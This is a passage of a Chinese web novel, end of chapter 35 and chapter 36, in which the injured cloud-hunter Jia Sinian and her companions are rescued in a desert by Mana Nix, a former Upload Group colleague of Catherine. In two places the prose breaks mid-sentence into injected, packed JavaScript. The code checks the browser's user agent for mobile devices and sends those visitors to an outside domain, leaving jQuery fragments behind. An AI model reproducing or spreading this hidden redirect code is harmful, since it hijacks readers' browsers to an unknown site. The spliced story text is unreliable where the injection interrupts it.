贾思年有点发懵,这东西是怎么被凯瑟琳的程序找回来的?她又是怎么在死后帮助一个陌生人找到了这把剑? 贾思年眉头紧锁,又轻微地发愣,不过这么看来很多事倒是都说得通了。一件物品能让林奈的性格有如此大的转变,大概率是一个相当复杂的情绪体。而上载世界里最锋利的武器,大概就是抽离的情绪体了,也只有这样的武器,才有可能让没受过猎人训练的普通人对庞大的猛兽一击毙命。 可这么复杂的情绪体是怎么抽离出来呢?贾思年作为云端猎人,她知道情绪越复杂越难抽离,所以大部分猎人的武器都是单一的情绪体,她实在想不明白林奈的短剑的来头。 忽然,贾思年心里一惊,她的耳边好像突然响起了寒风里彩色的石头和动物的骨骼碰撞在一起发出的清脆声响,雪山上的人们在微笑着挥手,一缕缕橙色的烟雾飞向了白茫茫的雪山,飘摇着跟她告别…… 情绪是可以被完整地抽离的,那些项链就是最好的例子,只不过……… 贾思年不禁打了个寒颤,只不过有人需要为它付出生命。 贾思年忽然有种不好的预感,但她不想对林奈说。 “贾?你在听吗?”金属球冲她眨了眨眼睛。 “我在听,没什么,等我们回去,我用识别组件给你看看那是什么,”贾思年的声音听起来有些疲惫,“休息一下吧,大家,上次睡觉已经是三十多个小时前了。” …… 安娜在黑暗中缓缓睁开眼睛,她抬起手看着手环上的时间,现在已经是晚上八点,她微微支起上半身,看见塑料棚子被风吹得塌了下来,垂下来遮住了一半洞口,她透过脏兮兮的塑料,看着外面漆黑一片。 安娜摸出手机想看看天气,天气预报显示夜晚沙暴会明显变弱,明天大概率是晴天。她松了一口气,试图爬起来,然后发现一左一右的两人加上头顶的球,全都还在睡。 安娜轻手轻脚地爬了起来,她从垂下的塑料下钻了出来,夜晚的沙漠覆上永远散不掉的乌云,月光照不进来,天地之间格外黑暗,安娜打开手环上的照明功能,又迅速调暗了光亮。没有地方充电,电量要省着点用。 安娜在她们的洞口前坐下,沙暴基本停了,她借着手环上的光束,看着前方不远处的垃圾场。 伊芙小姐……应该会派人来救援的吧?安娜心里越来越没底,她能感觉到贾思年的体力在迅速流失,一开始夜里她架着她走路时,几乎不费什么力,可是到了中午之后,贾思年整个人的重量都压在了她身上,这只能说明一件事,贾的状况很不好。 再加上贾思年越来越没精神以及失去血色的嘴唇,安娜觉得也许应该把这件事告诉林奈,她暗暗下定决心,正打算起身回去叫醒林奈,却发现金属球已经悄无声息地浮在她身边。 “啊……林奈先生,你吓了我一跳。” “我想跟你商量一件事。”林奈把语音切到了私人频道,金属球的眼睛变成了两个下垂的半圆,看起来很严肃。 “那正巧,我也有事想跟你商量一下,”安娜坐回了沙地上,“贾的状况很不好,她总是逞强,我们不能全听她的。” “我也是这个意思,她的伤口暴露太久了,又没有什么有效的治疗,一直拖下去不是办法。” “好,那就林奈先生来决定吧。”安娜点点头。 二人回到沙坑,发现莱拉也已经醒了,可贾思年还在睡着,安娜隐隐觉得不好,她拉起贾思年的胳膊,看她防护服袖子上的健康监测面板,发现她的体温异常,正在低烧。 安娜打开手环照明,轻轻拍了拍贾思年的身体,“贾?醒醒,你还好吗?” 贾思年只是皱了皱眉,并没有睁开眼睛。 安娜看着她失血的小麦色皮肤,不禁陷入了深深的担忧,“贾在低烧,林奈先生,我们现在该怎么办?” 安娜和莱拉一齐看着他,金属球的眉毛又一次竖了起来,林奈本以为自己一向把贾的安危放在绝对的第一位,现在却忽然犹豫了。他忽然发现其实自己也希望伊芙能派来救援带他们离开,废墟上的轰炸和垃圾场上的血腥场面,林奈桩桩件件都看在眼里,虽然希望渺茫,但他仍然希望抵抗军能赢,能给这些白白死掉的人一个交代。 “林奈先生?” 安娜的声音打断了他的思考,林奈看着贾思年苍白的嘴唇和轻蹙的眉眼,“再等等,如果她开始高烧,我立刻发信号求救。” 安娜的心里此刻也十分纠结,她完全理解林奈的决定,如果现在求救,所有的努力立刻前功尽弃,那贾受的那些痛苦又算什么?她点了点头,把贾的手臂摊开在沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537564|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上,方便时刻观察她的体温。 林奈和莱拉出发去了沙丘的另一面,他们继续守在当初和伊芙约定好的地点等待救援,安娜在狭小的沙坑里蜷缩了起来,她看了看贾思年健康面板上的体温,又看了看她的脸。 安娜突然觉得想哭,她一路上都强忍着让自己不要落泪,因为她相信贾,相信她总是有办法,一定可以化险为夷,可现在贾思年倒下了,她又应该去相信谁呢? 泪水终于从她的脸上滑落,她隔着面罩没办法擦眼泪,只能任由其在她脸上风干。 忽然,贾思年摊开的手臂好像动了一下,安娜以为自己眼花了,她眨了眨眼睛,握住了贾思年的手。 贾思年的眉眼动了动,缓缓睁开了眼睛。 “你醒了!”安娜的脸上还挂着泪痕,这会儿又高兴地喊了出来。 “你怎么哭了?”贾思年借着健康监控面板的微光看到了安娜脸上的泪痕,她似乎想安慰安娜几句,但声音听起来很虚弱。 “我没事,贾,你还好吗?”安娜摇摇头。 “我也没事,别哭,”贾思年似乎注意到了身边只有安娜一人,“他们去哪了?” “沙暴已经停了,林奈先生怕伊芙派来的救援找不到我们,就和莱拉去前面等着了。” “好。”贾思年的眼皮似乎有些支撑不住,“我有点累,再睡一会儿。” 安娜看着贾思年监控面板上升高的体温,又一次哭了出来,“贾,我们回家吧,不要再等伊芙小姐了!” “别急,再等等……”贾思年的声音弱了下来,又一次昏睡了过去。 “林奈先生!求救吧,贾看起来很不好。” “……好。” 沙丘的另一端,林奈听见了她们在语音里的对话,现在应该怎么办?如果现在求救,等待大家的又是什么?为了活命,他们只能说自己被绑架了,对一切毫不知情,只要他们一口咬定,抵抗军就会被认定挟持了他们,那么是不是又成为了阿尔弗雷德政府开战的理由?南边的人们又该何去何从? 可是贾听起来要支撑不住了,他又想起了无数个在金港醒来的午后,他的脑袋里忽然浮现出了一个画面,是那个女孩正在沉入深海,他突然想起了之前在副本里发生的片段,贾思年昏倒在地,他想要她带他回家,可他什么也做不了。 这样的事情绝不能再次发生。 林奈向科斯塔联盟发送了求救信号。 忽然,莱拉在语音里大喊,“林奈先生!你快看前面是什么!” 林奈朝着莱拉手指的方向望去,两团发光的圆点正在向他们靠近,一辆车正在沙漠里向着他们的方向疾驰。 啊?求救这么立竿见影吗?林奈的大脑一时短路,他来不及多想,立刻把金属球头顶的灯光开启了闪烁模式。 一辆小型旅行车很快在他们面前停下,外层车门开启,似乎在对他们发出邀请。 林奈忽然意识到自己的求救信号并没有被答复,这更不可能是科斯塔联盟的神兵天降,他关闭了求救信号的持续发送,“莱拉,我们上去看看。” 金属球和莱拉一起进入了旅行车的隔离间,外侧车门关闭,隔离间开始迅速过滤换气,面前的红色灯光变成了绿色,内侧车门无声地开启。 林奈在心里默默地屏住呼吸,进入了旅行车内。 车内没有开灯,四周一片昏暗,里面的空间远比不上他们来时的那辆宽敞,而且几乎在所有能摆放的空间里都整整齐齐地码上了箱子,只留下一条狭小的过道。林奈不知道这些箱子是做什么的,他左右环视,逆着光看见车头的驾驶区站着一个环抱着双臂的人影。 那人伸手打开了车内的灯,林奈看见了她梳得一丝不苟的头发和灰色的眼睛。 “……居然是你?”金属球绿色的瞳孔放大,林奈不可思议地看着眼前的女人。 36. 黄沙之下(十一) “很意外吗?”女人的脸上面无表情,灰色的眼睛快速地扫过了他们,“人数不对,那两个呢?” “……在沙丘的另一面。”金属球回答。 “安娜,”林奈紧接着在语音里说道,“救援来了。” “你们还真是运气好,”灰色的女人看着贾思年躺在旅行车后的窄床上昏迷不醒,“我恰好去给南方送药品和医疗器械,不过我们有医生吗?” “我读过护理学校,让我试试吧。”安娜的脸绷得板正。 …… 贾思年好像做了一个漫长的梦,梦里什么都没有,她只记得天旋地转,还有安娜在哭。 别哭啊安娜,她伸出手试图触碰。 她睁开了眼睛,发现自己躺在一张床上,赤身裸体之上盖着一条被子。四周残留着消毒液的味道,眼前是覆着绒布的天花板,床铺轻微的摇晃让她意识到自己正躺在一辆旅行车里。她动了动四肢,摸到了大腿上缠着的干净纱布,发现自己的伤口已经被处理完毕。 贾思年向着四周看了看,她看见安娜趴在床边睡着了。 “你醒了?”贾思年听到了另一个女人的声音。 “您好。”贾思年想要坐起来,却发现自己浑身无力。 “躺着吧,”女人走到了她的床边,拆开了一包营养剂递到她嘴边,“吃点东西。” 贾思年看到了一张十分严肃端庄,布着些许皱纹的脸。 “……谢谢,我是贾思年,您也许听过这个名字,请问是伊芙请您来的吗?” “玛娜·尼克斯,”女人不咸不淡地自我介绍,“前天夜里,一个叫伊芙·索拉里的女人找到了我,她说她知道我想要什么,然后给了我一个地址。” “她知道您想要什么?”贾思年有点莫名其妙。 “我当时已经在地表了,”玛娜·尼克斯低头看着她的眼睛,“我在找你。” “尼克斯女士前几天通关了彩蛋副本,贾,你可能最近没有看新闻。”贾思年忽然听到了金属球的声音,林奈飘了过来,手爪贴在贾思年的额头上,试图给她测温。 安娜听到了声响,也迷迷糊糊地爬了起来,看到贾思年醒了,黑色的大眼睛好像又要掉泪了,贾思年摸了摸她的头,握住了她的手。 “所以,说说吧,”尼克斯靠在旁边竖起的一排保温箱上,“你为什么要撒谎?” 撒谎?啊?什么跟什么?贾思年听得一头雾水,心想就算是救命恩人也不要太夸张吧。 “抱歉,我没明白您的意思。” “我是说,为什么要谎称你在副本里被篡改了记忆。”尼克斯看起来似乎有点不耐烦。 “我没道理在这件事上说谎,”贾思年回答,“也许林奈可以为我作证。” “我跟他聊过了,他已经不太记得了。” “那就没办法了,我清楚地记得自己当时就像被洗脑了一样,但我也没有其他方法可以自证。” “这又是另一码事了,”尼克斯顿了顿,“说实话,我这样急着来找你,是因为我已经开始渐渐忘记一些副本里的细节了。” 什么?贾思年觉得很意外,副本里的记忆在她的脑袋里依旧记忆犹新,如果认真回忆起来,甚至依然会隐隐觉得头痛,可林奈和尼克斯却都表示已经开始遗忘了。 林奈可能是傻,也可以理解,尼克斯是……岁数大了记性不好了吗? 金属球的眼睛忽然变成了下垂的半圆,他又一次敏锐地捕捉到了贾思年看傻子的眼神,他严正警告,“你不要以为我不知道你在想什么。” “……好吧,要么你说的是实话,要么你是真的演技高超,换个话题吧,”尼克斯的双臂环抱了起来,“凯瑟琳给你什么了?” 贾思年被这个像教导主任一样的女人像审犯人一样审得有点烦躁,可是吃人嘴短,拿人手软,她不得不老老实实地回忆凯瑟琳有没有给过她什么东西。 “如果非要说给了什么东西的话……一个瓶子,”贾思年回答,“副本里的一个NPC给了我一个装满液体的瓶子,调出来就会立刻使用,使用过后我就因为体力清零强制下线了,我也不知道那到底是什么。” 尼克斯的手搭在了下巴上,似乎陷入了沉思,紧接着她开始在防护服的许多口袋里摸来摸去,心不在焉地问道,“你介意我抽烟吗?” 贾思年看着尼克斯从烟盒里拿出了一根纸烟,她心里小小地吃了一惊,地下社区里,空气都要付费,纸烟是非常昂贵又难得的东西,她之前也偶尔见过有人抽纸烟,那不过是地下社区□□中有头脸的人炫耀的工具。 但贾思年还是装作司空见惯的样子嫌弃地皱了皱鼻子,“介意。” 尼克斯好像根本没听见她的抗议,掏出一个老式古董打火机,点燃了手里的烟。 火光闪烁,贾思年讨厌这个味道,开始在心里咒骂这个老女人反正也不听为什么还要问。 “一个瓶子……”尼克斯嘴里自言自语地喃喃道,她转身开大了空气过滤系统的功率,回头又问道,“你下线之后觉得有什么异常吗?” “那可真是太多异常了!自从我从彩蛋里出来,每天的生活都是异常,你是想听上载集团把我从被窝里拉出来做笔录,还是想听他们的人像看贼一样盯着我……”贾思年正打算大讲特讲,忽然感觉身边凉飕飕的。 她转过头去,正好对上了尼克斯露出下三白的灰色眼睛。 “……好吧,”贾思年瘪了瘪嘴,“但异常确实很多,第一个,我在副本里被篡改的记忆完全没有消失的迹象,甚至现在有时候我还会弄混,好像我本来的记忆就应该是那样的。” “嗯,继续说。”烟雾在尼克斯身边缭绕,她摆弄着手里的烟盒。 “再就是头痛,想起副本篡改的记忆就会头痛,需要吃止疼药的那种。” “这听起来也不像是礼物,还有呢?”尼克斯手里的烟燃尽了,她很快又点燃了一根。 “……再就不太好形容了,”贾思年摸了摸下巴思考着该怎么说,“我们遇到轰炸机的时候,我的脑袋好像突然疯了。” “嗯?”尼克斯停止了手上的摆弄,盯着贾思年。 “当时情况非常紧急,我在思考应该怎么办,突然好像看到了很多个不同的场景,我做了什么事会导致什么结果,在几分钟里我看到了几十个不同的结局。” 贾思年看着尼克斯,灰色的眼睛瞳孔放大又恢复了正常,尼克斯的脸上泛起了冷淡的微笑,“看来凯瑟琳真的送了你一份大礼。” 她灭掉了燃尽的烟头,起身走向驾驶席,“你的脑子需要一个全面的检查。” “所以你知道那是怎么回事?” “了不起的创作,凯瑟琳。”尼克斯显然没跟贾思年说话,她从自动驾驶那里要回了驾驶权,顺着地图的指示把油门踩到了底。 车上其他人都感受到了十足的推背感,三人一球面面相觑,贾思年在惊讶这老女人忽然发什么神经,其他三人则还沉浸在贾思年说自己脑袋突然发疯的震惊之中。 所以贾才能做出那种正确得离谱的反应!金属球瞪大了眼睛,他们离开旅行车时,安娜和莱拉刚好落在了一处松软的沙地上,而他很快就看见了旅行车爆炸产生的浓烟,可贾居然在爆炸之前就跳了出来,气浪刚好把她推到了不远处的斜坡之下,使她身上受到唯一的伤害就是嵌进大腿的碎片。 他以为世界上真有这样幸运的巧合,原来一切都是经过计算后的结果。 “你还没回答我问题呢!”贾思年躺在床上嚷嚷。 “瓶子大概是容器,里面的液体是个插件,很强的插件,反写进了你的大脑里,上载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537565|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集团有人在私下做这种实验,但是他们一直没成功。”尼克斯单手握着方向盘,又点燃了一根烟。 “没想到居然是凯瑟琳先成功了,那么多人居然还比不上一个死人。” “你为什会知道这些?”贾思年从床上坐了起来,黑色的眼睛越过座椅靠背,盯着尼克斯露出的肩膀和一丝不苟的盘发。被子从她身上滑落,金属球一惊,赶紧背过脸去。 “看来你是一点新闻都没看,”尼克斯似乎回头看了她一眼,“我以前和凯瑟琳是同事。” 贾思年的眼睛先跟眉毛聚集在了一起,很快又瞪得老大,什么玩意儿?也就是说尼克斯是上载集团的老员工了?这倒是能解释她为什么可以支撑得起抽纸烟这种出奇费钱的爱好……可是她怎么会出现在这儿? “不是……”贾思年有点磕巴,“您不应该解释一下吗,这位女士?” 旅行车忽然一个急刹车,所有人都一个趔趄,贾思年更是差点从床上滚下去。 疯子,绝对是疯子!她在心里骂骂咧咧。 尼克斯坐在前面静静地抽着烟,灰色的眼睛透过后视镜看着贾思年。 “你想听什么解释?” “当然是你不在自己的顶层独栋大房子里老老实实地享清福,跑到这儿来做什么!” 贾思年看着周围摆满的标注着药品的恒温箱,“去南边?人道主义救援?你觉得我信?” 尼克斯从鼻子里轻轻地哼了一声,“我二十多年前就从上载集团离开了。” “更不信了,”贾思年撇了撇嘴,“二十多年正是上载技术刚上线的时候,你那个时候在上载集团上班,还跟凯瑟琳是同事,你如果不是核心团队的技术人员,你就只能是给凯瑟琳打扫办公室的保洁。” “初创团队的保洁都能这么……一人得道鸡犬升天?纸烟哎大姐,你这会儿功夫已经抽了三根了。” “哈哈。”后视镜里,尼克斯的眼角僵硬地泛起了笑意,她站起身走到贾思年面前的座椅上坐下,饶有兴味地看着所有人的眼睛和嘴张得一样大。 “我都能给你当妈了,不准叫我大姐。” ……居然笑了,贾思年简直不敢相信自己的眼睛,但是很快贾思年就证实了她的怀疑绝不是空穴来风,尼克斯的眼睛迅速冷了下来,她的眼神飘忽,似乎在看着自己呼出的烟雾。 她低下头看了看手里的烟盒,似乎在查里面余下的数目。 “你记不记得,凯瑟琳的副本里,有一个雕塑?普罗菲塔,大概是这个音阶的名字。”尼克斯问道。 “记得,问这个干嘛?” “你就没觉得他长得有哪里不一样?”尼克斯依旧自顾自地发问,从不回答问题。 “……似乎是有些不一样,”贾思年只好努力回忆那个雕塑的长相,“他看起来……跟大眼睛高鼻梁的精灵们长得很不一样,更像是个……劳拉西亚洲的人。” “嗯,”尼克斯伸出手指在空中点了点,“那个男人就是夏曦国的人,他原名叫罗非。” “哈?这也是你们的……同事?” “对。”尼克斯点点头。 “大……”贾思年生生地把到嘴边的“姐”字咽了回去,“尼克斯女士,请你有话直说可以吗?不要再给大家讲谜语了。” 尼克斯的睫毛忽然垂了下来,头顶的灯光刚好使她脸上的皱纹暴露得一览无余,她没有说话,只是默默地抽着烟,她梳得一丝不苟的鬓角忽然垂下了极细的一缕银丝。贾思年看着她灰色的眼睛和花白的头发,忽然感到了疲惫和苍老,以及…… 深不见底的悲伤。 贾思年不知道这情绪从何而来,她蹙着眉,关切地看着眼前的女人。 “不讲谜语,那恐怕要开始讲故事了。”尼克斯的声音打破了沉寂,她用手指捻灭了燃尽的烟。